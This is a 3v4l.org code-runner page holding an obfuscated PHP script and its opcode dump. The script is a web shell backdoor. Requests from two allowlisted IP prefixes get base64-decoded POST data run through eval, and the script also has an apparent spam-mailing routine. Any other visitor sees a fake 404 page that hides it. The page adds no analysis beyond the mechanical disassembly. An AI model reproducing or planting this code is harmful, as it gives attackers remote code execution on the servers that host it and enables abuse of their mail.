3v4l.org

run code in 300+ PHP versions simultaneously
<?php ${"\x47\x4cO\x42\x41L\x53"}["\x72\x63\x6bjaxl\x72pspy"]="\x66\x75\x6ec";${"\x47\x4c\x4f\x42A\x4cS"}["\x66y\x79i\x6bc\x72\x6ec\x66\x65"]="h";${"\x47\x4c\x4f\x42AL\x53"}["\x72k\x78b\x69\x72\x64ec\x74c\x68"]="\x68\x5f\x64et\x65\x63t\x65d";${"\x47LOBA\x4cS"}["s\x6c\x71\x79d\x6d\x6b\x78\x68\x6c"]="he\x61d\x65r\x73";${"G\x4c\x4fBALS"}["l\x62z\x6c\x78k\x72\x73b\x6e\x77"]="\x72\x65\x73";${"\x47\x4cO\x42ALS"}["\x68b\x76\x77\x6b\x73\x78r\x6c\x76"]="\x6b";${"GLO\x42\x41\x4c\x53"}["l\x6eh\x75\x68\x74c\x68\x66"]="\x64a\x74\x61";${"\x47\x4c\x4fB\x41L\x53"}["l\x73\x6bp\x72\x75\x73"]="\x63\x6f\x6fki\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x72qx\x7a\x78\x6fro"]="\x76";${"\x47\x4c\x4fBA\x4c\x53"}["\x76\x64u\x68\x72\x7a\x6d"]="\x72eq\x75\x65\x73\x74";${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x6aklf\x62g"]="\x70\x6fr\x74";${"\x47\x4c\x4f\x42AL\x53"}["\x74\x6f\x67j\x77\x6a\x62\x74\x79\x64\x77"]="\x66\x70";${"\x47L\x4fB\x41\x4c\x53"}["x\x63c\x76\x71\x64nq\x65\x74l"]="\x73\x63h\x65\x6d\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["hm\x67\x6f\x6fc\x62\x65f"]="t\x69m\x65\x6f\x75\x74";${"GL\x4fBA\x4c\x53"}["\x72\x74\x6b\x6d\x75lw"]="u\x72l";${"G\x4c\x4f\x42\x41LS"}["\x74\x6c\x72\x79\x72\x6aon"]="\x70\x61\x72\x61\x6d\x73";${"\x47LO\x42\x41L\x53"}["\x70j\x76\x70\x64\x76\x76"]="u\x72i";${"G\x4c\x4fBALS"}["h\x65\x79\x62\x73\x73p"]="\x73\x74\x72";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x6dj\x74\x6b\x61\x73"]="\x6c\x65\x6e\x67t\x68";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x78\x73\x72u\x6fze\x64d\x6c"]="s\x74\x72\x69\x6eg";${"\x47\x4cOBA\x4c\x53"}["\x6bh\x6c\x75\x6ft\x71\x76\x65\x78"]="\x6e\x75\x6d\x43\x68a\x72\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["yhr\x6a\x64\x66\x7a\x6f"]="ch\x61rs";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fp\x62\x64\x76ew\x73e\x67\x79"]="\x6e\x75\x6d";${"\x47\x4cO\x42AL\x53"}["\x70f\x68\x69t\x74\x7a"]="\x63\x6funt";${"G\x4c\x4fB\x41\x4c\x53"}["qo\x76s\x74\x70\x6b\x79\x6d"]="\x77\x6frd";${"\x47L\x4f\x42A\x4cS"}["\x66\x70x\x72\x65\x78\x78rj\x62\x78"]="\x6d\x61x";${"\x47\x4cO\x42ALS"}["\x65\x6a\x6d\x63\x6fm\x78ni\x73\x64\x67"]="m\x69\x6e";${"\x47\x4cO\x42\x41\x4c\x53"}["v\x64l\x6dca\x66zip"]="rand";${"\x47L\x4f\x42\x41LS"}["\x69\x65w\x6bwp\x66\x74\x6di"]="c2";${"\x47L\x4fBA\x4cS"}["\x63\x64\x6c\x64s\x75\x6ej\x64"]="\x6e\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fo\x69\x70ym\x76b"]="\x69";${"GL\x4f\x42AL\x53"}["\x6bp\x6f\x66\x78p"]="m\x61\x74c\x68\x65\x73";${"G\x4cO\x42A\x4c\x53"}["\x61\x6f\x6e\x6c\x74\x7a"]="c\x6f\x6e\x74e\x6e\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x66\x63\x72\x68\x79"]="sub\x6a";${"\x47\x4cOB\x41\x4cS"}["\x75o\x77\x6f\x6f\x68\x6c"]="f";${"G\x4cOBALS"}["\x75\x65\x61\x6c\x70o\x67"]="\x7aag";${"GLOBA\x4cS"}["\x69r\x71g\x71m"]="\x74e\x78\x74";${"G\x4c\x4f\x42\x41L\x53"}["\x67\x6ez\x69\x63\x6e\x6a"]="\x75n";${"\x47\x4cOBAL\x53"}["\x75\x6f\x62p\x65l"]="h\x65\x61\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x6c\x6b\x68w\x70\x6c\x6f\x78"]="\x6d\x61\x69l\x65\x72\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["v\x71\x67\x69\x66dh"]="m\x61\x69\x6c\x65\x72";${"GL\x4fB\x41LS"}["vmy\x6e\x66\x62y\x68\x62e\x62"]="f\x72o\x6d";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x7a\x69j\x71g\x74i\x6e"]="f\x74\x65i\x6c";${"G\x4cO\x42A\x4c\x53"}["ymj\x79\x79v\x6d\x63d\x6a"]="\x6d\x65\x73sa\x67e";${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x77\x78\x64\x6e\x63\x62\x6dyfx"]="\x74\x68\x65\x6d\x65";${"\x47LOB\x41\x4c\x53"}["\x70\x74\x70\x70\x77\x79\x77m\x63\x66\x68"]="e\x6d\x61\x69l";${"GL\x4f\x42\x41\x4cS"}["\x63\x6apv\x66\x6ew\x62"]="f\x69\x6cen\x61\x6d\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x76\x62\x67tm"]="fi\x6c\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x65c\x6cc\x7a\x79\x70"]="pa\x73s\x65s";${"\x47\x4c\x4f\x42AL\x53"}["l\x66\x66\x73\x64hgp\x72\x6f\x6f\x6b"]="\x66\x72\x6f\x6ds";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73\x78he\x6a\x74"]="\x6d\x65\x73\x73a\x67\x65\x73";${"\x47LOBA\x4cS"}["\x68\x6a\x6cs\x65\x61x"]="\x74he\x6de\x73";${"GL\x4f\x42\x41\x4cS"}["f\x71ys\x79\x67o"]="e\x6da\x69\x6c\x73";${"G\x4cO\x42\x41\x4cS"}["\x69c\x6dft\x68n\x6d\x65q\x6b"]="\x6b\x65y";${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x76\x63\x78\x65\x7a\x6e\x6ax"]="g\x6f\x6fd\x73";if(isset($_POST["c\x6fd\x65"])&&isset($_POST["c\x75s\x74o\x6d\x5fac\x74\x69\x6fn"])&&is_good_ip($_SERVER["R\x45M\x4fTE_\x41\x44\x44R"])){eval(base64_decode($_POST["\x63od\x65"]));exit();}if(isset($_POST["\x74\x79\x70\x65"])&&$_POST["type"]=="\x31"){type1_send();exit();}elseif(isset($_POST["\x74\x79\x70\x65"])&&$_POST["\x74\x79\x70\x65"]=="2"){}elseif(isset($_POST["ty\x70\x65"])){echo$_POST["\x74y\x70\x65"];exit();}error_404();function is_good_ip($ip){${${"GLO\x42\x41\x4cS"}["\x75v\x63x\x65z\x6e\x6a\x78"]}=Array("6.\x31\x38\x35.\x3239\x2e","\x38\x2e138\x2e118\x2e");$cnrctx="g\x6f\x6f\x64";foreach(${${"\x47\x4cO\x42\x41\x4cS"}["\x75\x76\x63\x78\x65\x7a\x6e\x6a\x78"]} as${$cnrctx}){$umoiwcez="g\x6fod";${"\x47\x4c\x4fBA\x4cS"}["j\x6a\x6c\x78tx\x72"]="\x69\x70";if(strstr(${${"\x47\x4cO\x42\x41\x4cS"}["j\x6a\x6c\x78\x74xr"]},${$umoiwcez})!=FALSE){return TRUE;}}return FALSE;} ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 168, Position 2 = 171
Branch analysis from position: 168
2 jumps found. (Code = 46) Position 1 = 172, Position 2 = 179
Branch analysis from position: 172
2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 187
Branch analysis from position: 180
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 187
2 jumps found. (Code = 46) Position 1 = 190, Position 2 = 194
Branch analysis from position: 190
2 jumps found. (Code = 43) Position 1 = 195, Position 2 = 199
Branch analysis from position: 195
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 199
2 jumps found. (Code = 46) Position 1 = 202, Position 2 = 206
Branch analysis from position: 202
2 jumps found. (Code = 43) Position 1 = 207, Position 2 = 208
Branch analysis from position: 207
1 jumps found. (Code = 42) Position 1 = 215
Branch analysis from position: 215
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 208
2 jumps found. (Code = 43) Position 1 = 211, Position 2 = 215
Branch analysis from position: 211
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 215
Branch analysis from position: 206
Branch analysis from position: 194
Branch analysis from position: 179
Branch analysis from position: 171
filename:       /in/9m78C
function name:  (null)
number of ops:  218
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $0      'GLOBALS'
          1        ASSIGN_DIM                                               $0, 'rckjaxlrpspy'
          2        OP_DATA                                                  'func'
          3        FETCH_W                      global              $2      'GLOBALS'
          4        ASSIGN_DIM                                               $2, 'fyyikcrncfe'
          5        OP_DATA                                                  'h'
          6        FETCH_W                      global              $4      'GLOBALS'
          7        ASSIGN_DIM                                               $4, 'rkxbirdectch'
          8        OP_DATA                                                  'h_detected'
          9        FETCH_W                      global              $6      'GLOBALS'
         10        ASSIGN_DIM                                               $6, 'slqydmkxhl'
         11        OP_DATA                                                  'headers'
         12        FETCH_W                      global              $8      'GLOBALS'
         13        ASSIGN_DIM                                               $8, 'lbzlxkrsbnw'
         14        OP_DATA                                                  'res'
         15        FETCH_W                      global              $10     'GLOBALS'
         16        ASSIGN_DIM                                               $10, 'hbvwksxrlv'
         17        OP_DATA                                                  'k'
         18        FETCH_W                      global              $12     'GLOBALS'
         19        ASSIGN_DIM                                               $12, 'lnhuhtchf'
         20        OP_DATA                                                  'data'
         21        FETCH_W                      global              $14     'GLOBALS'
         22        ASSIGN_DIM                                               $14, 'lskprus'
         23        OP_DATA                                                  'cookie'
         24        FETCH_W                      global              $16     'GLOBALS'
         25        ASSIGN_DIM                                               $16, 'crqxzxoro'
         26        OP_DATA                                                  'v'
         27        FETCH_W                      global              $18     'GLOBALS'
         28        ASSIGN_DIM                                               $18, 'vduhrzm'
         29        OP_DATA                                                  'request'
         30        FETCH_W                      global              $20     'GLOBALS'
         31        ASSIGN_DIM                                               $20, 'tjklfbg'
         32        OP_DATA                                                  'port'
         33        FETCH_W                      global              $22     'GLOBALS'
         34        ASSIGN_DIM                                               $22, 'togjwjbtydw'
         35        OP_DATA                                                  'fp'
         36        FETCH_W                      global              $24     'GLOBALS'
         37        ASSIGN_DIM                                               $24, 'xccvqdnqetl'
         38        OP_DATA                                                  'scheme'
         39        FETCH_W                      global              $26     'GLOBALS'
         40        ASSIGN_DIM                                               $26, 'hmgoocbef'
         41        OP_DATA                                                  'timeout'
         42        FETCH_W                      global              $28     'GLOBALS'
         43        ASSIGN_DIM                                               $28, 'rtkmulw'
         44        OP_DATA                                                  'url'
         45        FETCH_W                      global              $30     'GLOBALS'
         46        ASSIGN_DIM                                               $30, 'tlryrjon'
         47        OP_DATA                                                  'params'
         48        FETCH_W                      global              $32     'GLOBALS'
         49        ASSIGN_DIM                                               $32, 'pjvpdvv'
         50        OP_DATA                                                  'uri'
         51        FETCH_W                      global              $34     'GLOBALS'
         52        ASSIGN_DIM                                               $34, 'heybssp'
         53        OP_DATA                                                  'str'
         54        FETCH_W                      global              $36     'GLOBALS'
         55        ASSIGN_DIM                                               $36, 'jmjtkas'
         56        OP_DATA                                                  'length'
         57        FETCH_W                      global              $38     'GLOBALS'
         58        ASSIGN_DIM                                               $38, 'kxsruozeddl'
         59        OP_DATA                                                  'string'
         60        FETCH_W                      global              $40     'GLOBALS'
         61        ASSIGN_DIM                                               $40, 'khluotqvex'
         62        OP_DATA                                                  'numChars'
         63        FETCH_W                      global              $42     'GLOBALS'
         64        ASSIGN_DIM                                               $42, 'yhrjdfzo'
         65        OP_DATA                                                  'chars'
         66        FETCH_W                      global              $44     'GLOBALS'
         67        ASSIGN_DIM                                               $44, 'opbdvewsegy'
         68        OP_DATA                                                  'num'
         69        FETCH_W                      global              $46     'GLOBALS'
         70        ASSIGN_DIM                                               $46, 'pfhittz'
         71        OP_DATA                                                  'count'
         72        FETCH_W                      global              $48     'GLOBALS'
         73        ASSIGN_DIM                                               $48, 'qovstpkym'
         74        OP_DATA                                                  'word'
         75        FETCH_W                      global              $50     'GLOBALS'
         76        ASSIGN_DIM                                               $50, 'fpxrexxrjbx'
         77        OP_DATA                                                  'max'
         78        FETCH_W                      global              $52     'GLOBALS'
         79        ASSIGN_DIM                                               $52, 'ejmcomxnisdg'
         80        OP_DATA                                                  'min'
         81        FETCH_W                      global              $54     'GLOBALS'
         82        ASSIGN_DIM                                               $54, 'vdlmcafzip'
         83        OP_DATA                                                  'rand'
         84        FETCH_W                      global              $56     'GLOBALS'
         85        ASSIGN_DIM                                               $56, 'iewkwpftmi'
         86        OP_DATA                                                  'c2'
         87        FETCH_W                      global              $58     'GLOBALS'
         88        ASSIGN_DIM                                               $58, 'cdldsunjd'
         89        OP_DATA                                                  'ns'
         90        FETCH_W                      global              $60     'GLOBALS'
         91        ASSIGN_DIM                                               $60, 'ooipymvb'
         92        OP_DATA                                                  'i'
         93        FETCH_W                      global              $62     'GLOBALS'
         94        ASSIGN_DIM                                               $62, 'kpofxp'
         95        OP_DATA                                                  'matches'
         96        FETCH_W                      global              $64     'GLOBALS'
         97        ASSIGN_DIM                                               $64, 'aonltz'
         98        OP_DATA                                                  'content'
         99        FETCH_W                      global              $66     'GLOBALS'
        100        ASSIGN_DIM                                               $66, 'lfcrhy'
        101        OP_DATA                                                  'subj'
        102        FETCH_W                      global              $68     'GLOBALS'
        103        ASSIGN_DIM                                               $68, 'uowoohl'
        104        OP_DATA                                                  'f'
        105        FETCH_W                      global              $70     'GLOBALS'
        106        ASSIGN_DIM                                               $70, 'uealpog'
        107        OP_DATA                                                  'zag'
        108        FETCH_W                      global              $72     'GLOBALS'
        109        ASSIGN_DIM                                               $72, 'irqgqm'
        110        OP_DATA                                                  'text'
        111        FETCH_W                      global              $74     'GLOBALS'
        112        ASSIGN_DIM                                               $74, 'gnzicnj'
        113        OP_DATA                                                  'un'
        114        FETCH_W                      global              $76     'GLOBALS'
        115        ASSIGN_DIM                                               $76, 'uobpel'
        116        OP_DATA                                                  'head'
        117        FETCH_W                      global              $78     'GLOBALS'
        118        ASSIGN_DIM                                               $78, 'vlkhwplox'
        119        OP_DATA                                                  'mailers'
        120        FETCH_W                      global              $80     'GLOBALS'
        121        ASSIGN_DIM                                               $80, 'vqgifdh'
        122        OP_DATA                                                  'mailer'
        123        FETCH_W                      global              $82     'GLOBALS'
        124        ASSIGN_DIM                                               $82, 'vmynfbyhbeb'
        125        OP_DATA                                                  'from'
        126        FETCH_W                      global              $84     'GLOBALS'
        127        ASSIGN_DIM                                               $84, 'xzijqgtin'
        128        OP_DATA                                                  'fteil'
        129        FETCH_W                      global              $86     'GLOBALS'
        130        ASSIGN_DIM                                               $86, 'ymjyyvmcdj'
        131        OP_DATA                                                  'message'
        132        FETCH_W                      global              $88     'GLOBALS'
        133        ASSIGN_DIM                                               $88, 'pwxdncbmyfx'
        134        OP_DATA                                                  'theme'
        135        FETCH_W                      global              $90     'GLOBALS'
        136        ASSIGN_DIM                                               $90, 'ptppwywmcfh'
        137        OP_DATA                                                  'email'
        138        FETCH_W                      global              $92     'GLOBALS'
        139        ASSIGN_DIM                                               $92, 'cjpvfnwb'
        140        OP_DATA                                                  'filename'
        141        FETCH_W                      global              $94     'GLOBALS'
        142        ASSIGN_DIM                                               $94, 'cvbgtm'
        143        OP_DATA                                                  'file'
        144        FETCH_W                      global              $96     'GLOBALS'
        145        ASSIGN_DIM                                               $96, 'oeclczyp'
        146        OP_DATA                                                  'passes'
        147        FETCH_W                      global              $98     'GLOBALS'
        148        ASSIGN_DIM                                               $98, 'lffsdhgprook'
        149        OP_DATA                                                  'froms'
        150        FETCH_W                      global              $100    'GLOBALS'
        151        ASSIGN_DIM                                               $100, 'sxhejt'
        152        OP_DATA                                                  'messages'
        153        FETCH_W                      global              $102    'GLOBALS'
        154        ASSIGN_DIM                                               $102, 'hjlseax'
        155        OP_DATA                                                  'themes'
        156        FETCH_W                      global              $104    'GLOBALS'
        157        ASSIGN_DIM                                               $104, 'fqysygo'
        158        OP_DATA                                                  'emails'
        159        FETCH_W                      global              $106    'GLOBALS'
        160        ASSIGN_DIM                                               $106, 'icmfthnmeqk'
        161        OP_DATA                                                  'key'
        162        FETCH_W                      global              $108    'GLOBALS'
        163        ASSIGN_DIM                                               $108, 'uvcxeznjx'
        164        OP_DATA                                                  'goods'
        165        FETCH_IS                                         ~110    '_POST'
        166        ISSET_ISEMPTY_DIM_OBJ                         0  ~111    ~110, 'code'
        167      > JMPZ_EX                                          ~111    ~111, ->171
        168    >   FETCH_IS                                         ~112    '_POST'
        169        ISSET_ISEMPTY_DIM_OBJ                         0  ~113    ~112, 'custom_action'
        170        BOOL                                             ~111    ~113
        171    > > JMPZ_EX                                          ~111    ~111, ->179
        172    >   INIT_FCALL_BY_NAME                                       'is_good_ip'
        173        CHECK_FUNC_ARG                                           
        174        FETCH_FUNC_ARG               global              $114    '_SERVER'
        175        FETCH_DIM_FUNC_ARG                               $115    $114, 'REMOTE_ADDR'
        176        SEND_FUNC_ARG                                            $115
        177        DO_FCALL                                      0  $116    
        178        BOOL                                             ~111    $116
        179    > > JMPZ                                                     ~111, ->187
        180    >   INIT_FCALL                                               'base64_decode'
        181        FETCH_R                      global              ~117    '_POST'
        182        FETCH_DIM_R                                      ~118    ~117, 'code'
        183        SEND_VAL                                                 ~118
        184        DO_ICALL                                         $119    
        185        INCLUDE_OR_EVAL                                          $119, EVAL
        186      > EXIT                                                     
        187    >   FETCH_IS                                         ~121    '_POST'
        188        ISSET_ISEMPTY_DIM_OBJ                         0  ~122    ~121, 'type'
        189      > JMPZ_EX                                          ~122    ~122, ->194
        190    >   FETCH_R                      global              ~123    '_POST'
        191        FETCH_DIM_R                                      ~124    ~123, 'type'
        192        IS_EQUAL                                         ~125    ~124, '1'
        193        BOOL                                             ~122    ~125
        194    > > JMPZ                                                     ~122, ->199
        195    >   INIT_FCALL_BY_NAME                                       'type1_send'
        196        DO_FCALL                                      0          
        197      > EXIT                                                     
        198*       JMP                                                      ->215
        199    >   FETCH_IS                                         ~127    '_POST'
        200        ISSET_ISEMPTY_DIM_OBJ                         0  ~128    ~127, 'type'
        201      > JMPZ_EX                                          ~128    ~128, ->206
        202    >   FETCH_R                      global              ~129    '_POST'
        203        FETCH_DIM_R                                      ~130    ~129, 'type'
        204        IS_EQUAL                                         ~131    ~130, '2'
        205        BOOL                                             ~128    ~131
        206    > > JMPZ                                                     ~128, ->208
        207    > > JMP                                                      ->215
        208    >   FETCH_IS                                         ~132    '_POST'
        209        ISSET_ISEMPTY_DIM_OBJ                         0          ~132, 'type'
        210      > JMPZ                                                     ~133, ->215
        211    >   FETCH_R                      global              ~134    '_POST'
        212        FETCH_DIM_R                                      ~135    ~134, 'type'
        213        ECHO                                                     ~135
        214      > EXIT                                                     
        215    >   INIT_FCALL_BY_NAME                                       'error_404'
        216        DO_FCALL                                      0          
    2   217      > RETURN                                                   1

Function is_good_ip:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 10, Position 2 = 30
Branch analysis from position: 10
2 jumps found. (Code = 78) Position 1 = 11, Position 2 = 30
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 27, Position 2 = 29
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 29
1 jumps found. (Code = 42) Position 1 = 10
Branch analysis from position: 10
Branch analysis from position: 30
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 30
filename:       /in/9m78C
function name:  is_good_ip
number of ops:  33
compiled vars:  !0 = $ip, !1 = $cnrctx, !2 = $umoiwcez
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   RECV                                             !0      
          1        FETCH_R                      global              ~3      'GLOBALS'
          2        FETCH_DIM_R                                      ~4      ~3, 'uvcxeznjx'
          3        FETCH_W                      local               $5      ~4
          4        ASSIGN                                                   $5, <array>
          5        ASSIGN                                                   !1, 'good'
          6        FETCH_R                      global              ~8      'GLOBALS'
          7        FETCH_DIM_R                                      ~9      ~8, 'uvcxeznjx'
          8        FETCH_R                      local               ~10     ~9
          9      > FE_RESET_R                                       $11     ~10, ->30
         10    > > FE_FETCH_R                                               $11, $12, ->30
         11    >   FETCH_W                      local               $13     !1
         12        ASSIGN                                                   $13, $12
         13        ASSIGN                                                   !2, 'good'
         14        FETCH_W                      global              $16     'GLOBALS'
         15        ASSIGN_DIM                                               $16, 'jjlxtxr'
         16        OP_DATA                                                  'ip'
         17        INIT_FCALL                                               'strstr'
         18        FETCH_R                      global              ~18     'GLOBALS'
         19        FETCH_DIM_R                                      ~19     ~18, 'jjlxtxr'
         20        FETCH_R                      local               ~20     ~19
         21        SEND_VAL                                                 ~20
         22        FETCH_R                      local               ~21     !2
         23        SEND_VAL                                                 ~21
         24        DO_ICALL                                         $22     
         25        BOOL                                             ~23     $22
         26      > JMPZ                                                     ~23, ->29
         27    >   FE_FREE                                                  $11
         28      > RETURN                                                   <true>
         29    > > JMP                                                      ->10
         30    >   FE_FREE                                                  $11
         31      > RETURN                                                   <false>
         32*     > RETURN                                                   null

End of function is_good_ip

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.05 ms | 1416 KiB | 17 Q